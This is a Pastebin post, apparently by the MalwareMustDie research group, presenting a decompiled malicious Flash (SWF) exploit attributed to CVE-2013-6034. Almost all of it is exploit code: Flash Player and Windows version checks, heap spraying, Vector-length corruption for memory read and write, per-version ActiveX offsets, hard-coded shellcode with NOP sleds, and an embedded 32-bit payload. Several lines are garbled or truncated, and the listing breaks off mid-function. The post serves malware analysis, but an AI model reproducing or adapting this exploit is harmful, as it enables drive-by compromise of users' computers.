SHARE
TWEET

#MalwareMustDie - SWF of CVE-2013-6034 jinxed + decompiled

MalwareMustDie Feb 10th, 2013 355 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // #MalwareMustDie
  2. // SWF of CVE-2013-6034 decompiled
  3.  
  4.  
  5. package mx.core {
  6.  
  7.     public namespace mx_internal = "h00p://www.adobe.com/2006/flex/mx/internal";
  8. } //package mx.core
  9. package mx.core {
  10.  
  11.     public interface IFlexAsset {
  12.  
  13.     }
  14. } //package mx.core
  15. package mx.core {
  16.     import flash.utils.*;
  17.  
  18.     public class ByteArrayAsset extends ByteArray implements IFlexAsset {
  19.  
  20.         mx_internal static const version: string = "4.6.0.23201";
  21.  
  22.     }
  23. } //package mx.core
  24. package {
  25.     import __AS3__.vec.*;
  26.     import flash.display.*;
  27.     import flash.utils.*;
  28.     import flash.text.*;
  29.     import flash.system.*;
  30.     import flash.media.*;
  31.     import flash.net.*;
  32.  
  33.     public class LadyBoyle extends Sprite {
  34.  
  35.         private
  36.         var the_x32_Class: class;
  37.         private
  38.         var the_x64_Class: class;
  39.         public
  40.         var version;
  41.  
  42.         public
  43.         function LadyBoyle() {
  44.             var _local2: string;
  45.             var _local23: number;
  46.             var _local24: string;
  47.             var _local25: uint;
  48.             var _local26: uint;
  49.             var _local27: string;
  50.             var _local28: ByteArray;
  51.             var _local29: Vector. < uint > ;
  52.             var _local30: Vector. < uint > ;
  53.             var _local31: uint;
  54.             var _local32: uint;
  55.             var _local33: uint;
  56.             var _local34: * ;
  57.             var _local35: ByteArray;
  58.             var _local36: uint;
  59.             var _local37: uint;
  60.             var _local38: uint;
  61.             var _local39: uint;
  62.             var _local40: uint;
  63.             this.the_x32_Class = LadyBoyle_the_x32_Class;
  64.             this.the_x64_Class = LadyBoyle_the_x64_Class;
  65.             this.version = capabilities.version.tolowercase()
  66.                 .tostring();
  67.             super();
  68.             var _local1: uint;
  69.             var _local3: uint;
  70.             var _local4: ByteArray = new ByteArray();
  71.             var _local5: Vector. < Object > = new < Object > [];
  72.             var _local6: sound = new sound();
  73.             var _local7: uint;
  74.             var _local8: uint;
  75.             var _local9: uint;
  76.             var _local10: uint;
  77.             var _local11: uint;
  78.             var _local12: uint;
  79.             var _local13: uint;
  80.             var _local14: uint;
  81.             var _local15: uint;
  82.             var _local16: uint;
  83.             var _local17: ByteArray = _local4;
  84.             switch (this.version) {                      /// get the version and select case of it..
  85.                 case "win 11,5,502,146":
  86.                     break;
  87.                 case "win 11,5,502,135":
  88.                     break;
  89.                 case "win 11,5,502,110":
  90.                     break;
  91.                 case "win 11,4,402,287":
  92.                     break;
  93.                 case "win 11,4,402,278":
  94.                     break;
  95.                 case "win 11,4,402,265":
  96.                     break;
  97.                 default:
  98.                     return (this.empty());
  99.             };
  100.             var _local18: sharedobject = sharedobject.getlocal("ImplentenstWell");
  101.             if (_local18.size != 0) {
  102.                 _local23 = (new date()
  103.                     .time - _local18.data.now);
  104.                 if (_local23 > ((((7 * 24) * 60) * 60) * 1000)) {
  105.                     _local18.close();
  106.                 } else {
  107.                     return (this.empty());
  108.                 };
  109.             };
  110.             var _local19: string = capabilities.os.tolowercase()
  111.                 .tostring();
  112.             switch (_local19) {
  113.                 case "windows 7":
  114.                     break;
  115.                 case "windows server 2008 r2":
  116.                     break;
  117.                 case "windows server 2008":
  118.                     break;
  119.                 case "windows server 2003 r2":
  120.                     break;
  121.                 case "windows server 2003":
  122.                     break;
  123.                 case "windows xp":
  124.                     break;
  125.                 case "windows vista":
  126.                     break;
  127.                 default:
  128.                     return (this.empty());
  129.             };
  130.             _local1 = 0;
  131.             while (_local1 < 0x4000) {
  132.                 _local24 = "";
  133.                 _local3 = 0;
  134.                 while (_local3 < 42) {
  135.                     _local24 = (_local24 + string.fromcharcode(this.randRange(97, 122)));
  136.                     _local3++;
  137.                 };
  138.                 _local5[_local1] = new < Object > [new RegExp(_local24, ""), new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _locallocal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _loca new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4,cal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4ocal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _locallocal4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4]];
  139.                 _local1++;
  140.             };
  141.             _local1 = 8210;
  142.             while (_local1 < (0x4000 - 1)) {
  143.                 if ((_local1 % 2) != 0) {
  144.                     _local5[_local1][2] = null;
  145.                 };
  146.                 _local1++;
  147.             };
  148.             _local2 = "(?i)()()(?-i)||||||||||||||||||||||";
  149.             var _local20: RegExp = new RegExp(_local2, "");
  150.             var _local21: boolean;
  151.             var _local22: uint;
  152.             _local1 = 0;
  153.             while (_local1 < 0x4000) {
  154.                 if (_local21) {
  155.                     break;
  156.                 };
  157.                 _local8 = 1;
  158.                 while (_local8 <= 8) {
  159.                     try {
  160.                         if ((_local5[_local1][_local8] as Vector. < Number > )
  161.                             .length > 17) {
  162.                             _local7 = _local1;
  163.                             _local22 = _local8;
  164.                             _local21 = true;
  165.                             break;
  166.                         };
  167.                     } catch (e: error) {};
  168.                     _local8++;
  169.                 };
  170.                 _local1++;
  171.             };
  172.             if (!_local21) {
  173.                 do {} while (1);
  174.             };
  175.             if (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[0] == 16) {
  176.                 _local9 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[1];
  177.                 (_local5[_local7][_local22] as Vector. < Number > )[17] = this.UintToDouble(0xFFFFFFFF, _local9);
  178.                 (_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0);
  179.                 _local21 = false;
  180.                 _local1 = 0;
  181.                 while (_local1 < 0x4000) {
  182.                     if (_local21) {
  183.                         break;
  184.                     };
  185.                     _local8 = 1;
  186.                     while (_local8 <= 8) {
  187.                         try {
  188.                             if (this.ReadDouble((_local5[_local1][_local8] as Vector. < Number > ), 0)[0] == 0x41414141) {
  189.                                 _local7 = _local1;
  190.                                 _local22 = _local8;
  191.                                 _local21 = true;
  192.                                 break;
  193.                             };
  194.                         } catch (e: error) {};
  195.                         _local8++;
  196.                     };
  197.                     _local1++;
  198.                 };
  199.                 if (!_local21) {
  200.                     do {} while (1);
  201.                 };
  202.                 (_local5[_local7][_local22] as Vector. < Number > )[536870893] = this.UintToDouble(16, _local9);
  203.                 _local1 = 0;
  204.                 while (_local1 < 0x1000) {
  205.                     if ((((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local1)[1] == 32)) && ((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[0] == 1)))) {
  206.                         _local11 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[1] & 0xFFFFFFF8);
  207.                         _local12 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[0] & 0xFFFFFFF8);
  208.                         _local13 = _local12;
  209.                         break;
  210.                     };
  211.                     _local1++;
  212.                 };
  213.                 if (_local1 == 0x1000) {
  214.                     (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  215.                     return;
  216.                 };
  217.                 _local1 = 0;
  218.                 while (_local1 < 0x4000) {
  219.                     _local8 = 1;
  220.                     while (_local8 <= 8) {
  221.                         if (!(((_local1 == _local7)) && ((_local8 == _local22)))) {
  222.                             _local5[_local1][_local8] = null;
  223.                         };
  224.                         _local8++;
  225.                     };
  226.                     _local1++;
  227.                 };
  228.                 _local1 = 1;
  229.                 while (_local1 < 4) {
  230.                     _local29 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((17 * _local1) + (_local1 - 1)));
  231.                     _local30 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((17 * (_local1 + 1)) + _local1));
  232.                     if ((((((((((_local29[1] == _local9)) && ((_local30[1] == _local9)))) && ((_local29[1] < _local29[0])))) && ((_local30[1] < _local30[0])))) && (((_local30[0] - _local29[0]) == 144)))) {
  233.                         _local10 = (_local29[0] - (144 * (_local1 + 1)));
  234.                         break;
  235.                     };
  236.                     _local1++;
  237.                 };
  238.                 if (_local10 == 0) {
  239.                     (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  240.                     return;
  241.                 };
  242.                 _local1 = 0;
  243.                 while (_local1 < (0x0400 * 100)) {
  244.                     _local17.writeUnsignedInt(0x41414141);
  245.                     _local1++;
  246.                 };
  247.                 _local15 = ((((_local12 + 64) - _local10) - 8) / 8);
  248.                 _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  249.                 _local15 = ((((_local12 + 8) - _local10) - 8) / 8);
  250.                 _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  251.                 _local12 = (_local12 + _local17.position);
  252.                 _local14 = _local17.position;
  253.                 _local15 = (((_local11 - _local10) - 8) / 8);
  254.                 _local16 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  255.                 _local25 = 0;
  256.                 _local26 = 0;
  257.                 _local27 = capabilities.version.tolowercase();
  258.                 switch (_local27) {
  259.                     case "win 11,5,502,146":
  260.                         if (capabilities.playertype.tolowercase() == "activex") {  ///// this will check the player type
  261.                             _local25 = (_local16 - 1838536);                       ///// and execute value if it is activex
  262.                             _local26 = (_local16 - 574720);                        
  263.                         };
  264.                         break;
  265.                     case "win 11,5,502,135":
  266.                         if (capabilities.playertype.tolowercase() == "activex") {
  267.                             _local25 = (_local16 - 2266027);
  268.                             _local26 = (_local16 - 574864);
  269.                         };
  270.                         break;
  271.                     case "win 11,5,502,110":
  272.                         if (capabilities.playertype.tolowercase() == "activex") {
  273.                             _local25 = (_local16 - 1600110);
  274.                             _local26 = (_local16 - 574424);
  275.                         };
  276.                         break;
  277.                     case "win 11,4,402,287":
  278.                         if (capabilities.playertype.tolowercase() == "activex") {
  279.                             _local25 = (_local16 - 4624790);
  280.                             _local26 = (_local16 - 574196);
  281.                         };
  282.                         break;
  283.                     case "win 11,4,402,278":
  284.                         if (capabilities.playertype.tolowercase() == "activex") {
  285.                             _local25 = (_local16 - 1227937);
  286.                             _local26 = (_local16 - 573876);
  287.                         };
  288.                         break;
  289.                     case "win 11,4,402,265":
  290.                         if (capabilities.playertype.tolowercase() == "activex") {
  291.                             _local25 = (_local16 - 7925883);
  292.                             _local26 = (_local16 - 573876);
  293.                         };
  294.                         break;
  295.                     default:                                                                ////// without activeX too.....
  296.                    
  297.                         (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  298.                         return;
  299.                 };
  300.                 if ((((((_local27 == "win 11,5,502,110")) || ((_local27 == "win 11,5,502,135")))) || ((_local27 == "win 11,5,502,146")))) {
  301.                     _local15 = (((_local26 - _local10) - 8) / 8);
  302.                     _local26 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  303.                 } else {
  304.                     _local15 = ((((_local26 - 4) - _local10) - 8) / 8);
  305.                     _local26 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1];
  306.                 };
  307.                 _local17.endian = Endian.LITTLE_ENDIAN;
  308.                 _local17.position = (_local17.position + 112);
  309.                 _local17.writeUnsignedInt(_local25);
  310.                 _local17.position = ((_local17.position - 112) - 4);
  311.                 _local17.writeUnsignedInt(_local26);
  312.                 _local17.writeUnsignedInt((_local12 + 136));
  313.                 _local17.writeUnsignedInt(_local12);
  314.                 _local17.writeUnsignedInt(0x2000);
  315.                 _local17.writeUnsignedInt(0x1000);
  316.                 _local17.writeUnsignedInt(64);
  317.                 _local17.position = (_local17.position + 112);
  318.                 _local17.writeUnsignedInt(3968045260);
  319.                 _local17.writeUnsignedInt(1692087152);
  320.                 _local17.writeUnsignedInt(2333629323);
  321.                 _local17.writeUnsignedInt(1535848539);
  322.                 _local17.writeUnsignedInt(475761420);
  323.                 _local17.writeUnsignedInt(2332578699);
  324.                 _local17.writeUnsignedInt(2089499770);
  325.                 _local17.writeUnsignedInt(3163368506);
  326.                 _local17.writeUnsignedInt(0xE0003A);
  327.                 _local17.writeUnsignedInt(0x408BB800);
  328.                 _local17.writeUnsignedInt(121226032);
  329.                 _local17.writeUnsignedInt(3947299700);
  330.                 _local17.writeUnsignedInt(1760529401);
  331.                 _local17.writeUnsignedInt(0x6C0065);
  332.                 _local17.writeUnsignedInt(0x6E007268);
  333.                 _local17.writeUnsignedInt(0x6B6800);
  334.                 _local17.writeUnsignedInt(0x33FC0065);
  335.                 _local17.writeUnsignedInt(2333838281);
  336.                 _local17.writeUnsignedInt(544967668);
  337.                 _local17.writeUnsignedInt(2817721265);
  338.                 _local17.writeUnsignedInt(1535898485);
  339.                 _local17.writeUnsignedInt(1012108040);
  340.                 _local17.writeUnsignedInt(2014991499);
  341.                 _local17.writeUnsignedInt(3961144461);
  342.                 _local17.writeUnsignedInt(1418450431);
  343.                 _local17.writeUnsignedInt(3540197402);
  344.                 _local17.writeUnsignedInt(3375612675);
  345.                 _local17.writeUnsignedInt(4328);
  346.                 _local17.writeUnsignedInt(0x74655300);
  347.                 _local17.writeUnsignedInt(1701996628);
  348.                 _local17.writeUnsignedInt(1866687585);
  349.                 _local17.writeUnsignedInt(2019914862);
  350.                 _local17.writeUnsignedInt(607423348);
  351.                 _local17.writeUnsignedInt(4211292811);
  352.                 _local17.writeUnsignedInt(2817721521);
  353.                 _local17.writeUnsignedInt(3263367284);
  354.                 _local17.writeUnsignedInt(79725316);
  355.                 _local17.writeUnsignedInt(277605355);
  356.                 _local17.writeUnsignedInt(3224621827);
  357.                 _local17.writeUnsignedInt(548522123);
  358.                 _local17.writeUnsignedInt(2884893835);
  359.                 _local17.writeUnsignedInt(270795975);
  360.                 _local17.writeUnsignedInt(0x54000100);
  361.                 _local17.writeUnsignedInt(3539992170);
  362.                 _local17.writeUnsignedInt(0x90909090);
  363.                 _local17.writeUnsignedInt(0x90909090);
  364.                 _local17.writeUnsignedInt(0x90909090);
  365.                 _local17.writeUnsignedInt(0x90909090);
  366.                 _local17.writeUnsignedInt(15499616);
  367.                 _local17.writeUnsignedInt(0x8B000004);
  368.                 _local17.writeUnsignedInt(1548208124);
  369.                 _local17.writeUnsignedInt(0x41414141);
  370.                 _local17.writeUnsignedInt(1481099152);
  371.                 _local17.writeUnsignedInt(0x42424242);
  372.                 _local17.writeUnsignedInt(1949435847);
  373.                 _local17.writeUnsignedInt(1204227217);
  374.                 _local17.writeUnsignedInt(169053700);
  375.                 _local17.writeUnsignedInt(138921900);
  376.                 _local17.writeUnsignedInt(2206065209);
  377.                 _local17.writeUnsignedInt(2399946695);
  378.                 _local17.writeUnsignedInt(3345029362);
  379.                 _local17.writeUnsignedInt(848498759);
  380.                 _local17.writeUnsignedInt(1204262116);
  381.                 _local17.writeUnsignedInt(2614448148);
  382.                 _local17.writeUnsignedInt(407357387);
  383.                 _local17.writeUnsignedInt(3685531203);
  384.                 _local17.writeUnsignedInt(2988197831);
  385.                 _local17.writeUnsignedInt(3339915062);
  386.                 _local17.writeUnsignedInt(2378440775);
  387.                 _local17.writeUnsignedInt(1204253727);
  388.                 _local17.writeUnsignedInt(2721009956);
  389.                 _local17.writeUnsignedInt(675792641);
  390.                 _local17.writeUnsignedInt(4279068247);
  391.                 _local17.writeUnsignedInt(2603370439);
  392.                 _local17.writeUnsignedInt(3353709447);
  393.                 _local17.writeUnsignedInt(2951557191);
  394.                 _local17.writeUnsignedInt(1204270335);
  395.                 _local17.writeUnsignedInt(1259979316);
  396.                 _local17.writeUnsignedInt(944228097);
  397.                 _local17.writeUnsignedInt(2594566269);
  398.                 _local17.writeUnsignedInt(3829155783);
  399.                 _local17.writeUnsignedInt(3351614507);
  400.                 _local17.writeUnsignedInt(2649505863);
  401.                 _local17.writeUnsignedInt(1204266079);
  402.                 _local17.writeUnsignedInt(863489092);
  403.                 _local17.writeUnsignedInt(19392911);
  404.                 _local17.writeUnsignedInt(0xC0330000);
  405.                 _local17.writeUnsignedInt(3187044);
  406.                 _local17.writeUnsignedInt(0x408B0000);
  407.                 _local17.writeUnsignedInt(339774220);
  408.                 _local17.writeUnsignedInt(0x8B008B);
  409.                 _local17.writeUnsignedInt(2333098123);
  410.                 _local17.writeUnsignedInt(1794608104);
  411.                 _local17.writeUnsignedInt(3253229841);
  412.                 _local17.writeUnsignedInt(0xE2000000);
  413.                 _local17.writeUnsignedInt(2179894265);
  414.                 _local17.writeUnsignedInt(262380);
  415.                 _local17.writeUnsignedInt(0x89C03300);
  416.                 _local17.writeUnsignedInt(2106273861);
  417.                 _local17.writeUnsignedInt(2170508380);
  418.                 _local17.writeUnsignedInt(131308);
  419.                 _local17.writeUnsignedInt(0x685700);
  420.                 _local17.writeUnsignedInt(0xFF000001);
  421.                 _local17.writeUnsignedInt(3224569941);
  422.                 _local17.writeUnsignedInt(121405504);
  423.                 _local17.writeUnsignedInt(0x89F97500);
  424.                 _local17.writeUnsignedInt(80175173);
  425.                 _local17.writeUnsignedInt(1667391751);
  426.                 _local17.writeUnsignedInt(121947950);
  427.                 _local17.writeUnsignedInt(1734763268);
  428.                 _local17.writeUnsignedInt(0x6A006A00);
  429.                 _local17.writeUnsignedInt(0x6A026A00);
  430.                 _local17.writeUnsignedInt(0x68006A00);
  431.                 _local17.writeUnsignedInt(0x40000000);
  432.                 _local17.writeUnsignedInt(272993111);
  433.                 _local17.writeUnsignedInt(18920);
  434.                 _local17.writeUnsignedInt(0xF88300);
  435.                 _local17.writeUnsignedInt(1166619262);
  436.                 _local17.writeUnsignedInt(1078314804);
  437.                 _local17.writeUnsignedInt(0);
  438.                 _local17.writeUnsignedInt(0x458D006A);
  439.                 _local17.writeUnsignedInt(1979666500);
  440.                 _local17.writeUnsignedInt(1551236952);
  441.                 _local17.writeUnsignedInt(4281628159);
  442.                 _local17.writeUnsignedInt(1979654229);
  443.                 _local17.writeUnsignedInt(676724532);
  444.                 _local17.writeUnsignedInt(541443927);
  445.                 _local17.writeUnsignedInt(1098385763);
  446.                 _local17.writeUnsignedInt(0xE800458B);
  447.                 _local17.writeUnsignedInt(18);
  448.                 _local17.writeUnsignedInt(130335873);
  449.                 _local17.writeUnsignedInt(0x8D610000);
  450.                 _local17.writeUnsignedInt(1791218789);
  451.                 _local17.writeUnsignedInt(0xFFFF6AFF);
  452.                 _local17.writeUnsignedInt(947915861);
  453.                 _local17.writeUnsignedInt(2148168936);
  454.                 _local17.writeUnsignedInt(91547960);
  455.                 _local17.writeUnsignedInt(1978349696);
  456.                 _local17.writeUnsignedInt(91783441);
  457.                 _local17.writeUnsignedInt(0x90909090);
  458.                 _local17.writeUnsignedInt(4287301748);
  459.                 _local17.writeUnsignedInt(2381089621);
  460.                 _local17.writeUnsignedInt(3774809408);
  461.                 _local17.writeUnsignedInt(1972065873);
  462.                 _local17.writeUnsignedInt(779389756);
  463.                 _local17.writeUnsignedInt(1458897784);
  464.                 _local17.writeUnsignedInt(52459147);
  465.                 _local17.writeUnsignedInt(1237922805);
  466.                 _local17.writeUnsignedInt(3305352513);
  467.                 _local17.writeUnsignedInt(3188710195);
  468.                 _local17.writeUnsignedInt(1960196624);
  469.                 _local17.writeUnsignedInt(130793736);
  470.                 _local17.writeUnsignedInt(3946895875);
  471.                 _local17.writeUnsignedInt(1964981233);
  472.                 _local17.writeUnsignedInt(1586192103);
  473.                 _local17.writeUnsignedInt(1725760292);
  474.                 _local17.writeUnsignedInt(2336951435);
  475.                 _local17.writeUnsignedInt(3707968606);
  476.                 _local17.writeUnsignedInt(59442315);
  477.                 _local17.writeUnsignedInt(1499376581);
  478.                 _local17.writeUnsignedInt(4275366083);
  479.                 _local17.writeUnsignedInt(2425421823);
  480.                 _local17.writeUnsignedInt(0x90909090);
  481.                 _local18.data.now = new date()
  482.                     .time;
  483.                 _local18.flush();
  484.                 _local18.close();
  485.                 _local28 = new this.the_x32_Class();                     /// x32
  486.                 _local17.writeBytes(_local28, 0, _local28.length);
  487.                 _local12 = _local13;
  488.                 _local15 = ((((_local12 + 64) - _local10) - 8) / 8);
  489.                 _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  490.                 _local15 = ((((_local12 + 8) - _local10) - 8) / 8);
  491.                 _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  492.                 _local12 = (_local12 + _local14);
  493.                 _local17.position = (_local14 + 112);                     /// building x32 bit binary......
  494.                 _local17.writeUnsignedInt(_local25);
  495.                 _local17.position = ((_local17.position - 112) - 4);
  496.                 _local17.writeUnsignedInt(_local26);
  497.                 _local17.writeUnsignedInt((_local12 + 136));
  498.                 _local17.writeUnsignedInt(_local12);
  499.                 _local17.writeUnsignedInt(0x2000);
  500.                 _local17.writeUnsignedInt(0x1000);
  501.                 _local17.writeUnsignedInt(64);
  502.                 _local17.position = (_local17.position + 112);
  503.                 _local17.writeUnsignedInt(3968032912);
  504.                 _local17.writeUnsignedInt(1692087152);
  505.                 _local17.writeUnsignedInt(2333629323);
  506.                 _local17.writeUnsignedInt(1535848539);
  507.                 _local17.writeUnsignedInt(475761420);
  508.                 _local17.writeUnsignedInt(2332578699);
  509.                 _local17.writeUnsignedInt(2089499770);
  510.                 _local17.writeUnsignedInt(3163368506);
  511.                 _local17.writeUnsignedInt(0xE0003A);
  512.                 _local17.writeUnsignedInt(0x408BB800);
  513.                 _local17.writeUnsignedInt(121226032);
  514.                 _local17.writeUnsignedInt(3947299700);
  515.                 _local17.writeUnsignedInt(1760529401);
  516.                 _local17.writeUnsignedInt(0x6C0065);
  517.                 _local17.writeUnsignedInt(0x6E007268);
  518.                 _local17.writeUnsignedInt(0x6B6800);
  519.                 _local17.writeUnsignedInt(0x33FC0065);
  520.                 _local17.writeUnsignedInt(2333838281);
  521.                 _local17.writeUnsignedInt(544967668);
  522.                 _local17.writeUnsignedInt(2817721265);
  523.                 _local17.writeUnsignedInt(1535898485);
  524.                 _local17.writeUnsignedInt(1012108040);
  525.                 _local17.writeUnsignedInt(2014991499);
  526.                 _local17.writeUnsignedInt(3961144461);
  527.                 _local17.writeUnsignedInt(1418450431);
  528.                 _local17.writeUnsignedInt(3540197402);
  529.                 _local17.writeUnsignedInt(3375612675);
  530.                 _local17.writeUnsignedInt(4328);
  531.                 _local17.writeUnsignedInt(0x74655300);
  532.                 _local17.writeUnsignedInt(1701996628);
  533.                 _local17.writeUnsignedInt(1866687585);
  534.                 _local17.writeUnsignedInt(2019914862);
  535.                 _local17.writeUnsignedInt(607423348);
  536.                 _local17.writeUnsignedInt(4211292811);
  537.                 _local17.writeUnsignedInt(2817721521);
  538.                 _local17.writeUnsignedInt(3263367284);
  539.                 _local17.writeUnsignedInt(79725316);
  540.                 _local17.writeUnsignedInt(277605355);
  541.                 _local17.writeUnsignedInt(3224621827);
  542.                 _local17.writeUnsignedInt(548522123);
  543.                 _local17.writeUnsignedInt(2884893835);
  544.                 _local17.writeUnsignedInt(270795975);
  545.                 _local17.writeUnsignedInt(0x54000100);
  546.                 _local17.writeUnsignedInt(3539992170);
  547.                 _local17.writeUnsignedInt(0x90909090);
  548.                 _local17.writeUnsignedInt(0x90909090);
  549.                 _local17.writeUnsignedInt(0x90909090);
  550.                 _local17.writeUnsignedInt(0x90909090);
  551.                 _local17.writeUnsignedInt(552370528);
  552.                 _local17.writeUnsignedInt(0x8B000001);
  553.                 _local17.writeUnsignedInt(1548208124);
  554.                 _local17.writeUnsignedInt((((_local12 + 616) + 176) - 4));
  555.                 _local17.writeUnsignedInt(1481099152);
  556.                 _local17.writeUnsignedInt(_local28.length);
  557.                 _local15 = (((_local11 - _local10) - 8) / 8);
  558.                 (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local12, this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1]);
  559.                 new number(_local6.tostring());
  560.                 (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local16, this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1]);
  561.                 (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  562.                 (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  563.                 return;
  564.             };
  565.             if (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 16)[0] == 16) {
  566.                 _local31 = 0;
  567.                 _local31 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[1];
  568.                 _local9 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[0];
  569.                 (_local5[_local7][_local22] as Vector. < Number > )[16] = this.UintToDouble(0xFFFFFFFF, 0);
  570.                 (_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0);
  571.                 _local32 = _local7;
  572.                 _local33 = _local22;
  573.                 _local21 = false;
  574.                 _local1 = 0;
  575.                 while (_local1 < 0x4000) {
  576.                     if (_local21) {
  577.                         break;
  578.                     };
  579.                     _local8 = 1;
  580.                     while (_local8 <= 8) {
  581.                         try {
  582.                             if (this.ReadDouble((_local5[_local1][_local8] as Vector. < Number > ), 0)[0] == 0x41414141) {
  583.                                 _local7 = _local1;
  584.                                 _local22 = _local8;
  585.                                 _local21 = true;
  586.                                 break;
  587.                             };
  588.                         } catch (e: error) {};
  589.                         _local8++;
  590.                     };
  591.                     _local1++;
  592.                 };
  593.                 if (!_local21) {
  594.                     do {} while (1);
  595.                 };
  596.                 _local1 = 0;
  597.                 while (_local1 < 0x1000) {
  598.                     if ((((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local1)[0] == 32)) && ((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[0] == 1)))) {
  599.                         _local11 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[0] & 0xFFFFFFF8);
  600.                         _local12 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 3))[0] & 0xFFFFFFF8);
  601.                         _local13 = _local12;
  602.                         break;
  603.                     };
  604.                     _local1++;
  605.                 };
  606.                 if (_local1 == 0x1000) {
  607.                     do {} while (1);
  608.                 };
  609.                 if (((!((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[1] == _local31))) || (!((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 3))[1] == _local31))))) {
  610.                     do {} while (1);
  611.                 };
  612.                 _local1 = 0;
  613.                 while (_local1 < 0x4000) {
  614.                     _local8 = 1;
  615.                     while (_local8 <= 8) {
  616.                         if (((!((((_local1 == _local7)) && ((_local8 == _local22))))) && (!((((_local1 == _local32)) && ((_local8 == _local33))))))) {
  617.                             _local5[_local1][_local8] = null;
  618.                         };
  619.                         _local8++;
  620.                     };
  621.                     _local1++;
  622.                 };
  623.                 _local1 = 1;
  624.                 while (_local1 < 4) {
  625.                     _local29 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((16 * _local1) + (2 * (_local1 - 1))));
  626.                     _local30 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((16 * (_local1 + 1)) + (2 * ((_local1 + 1) - 1))));
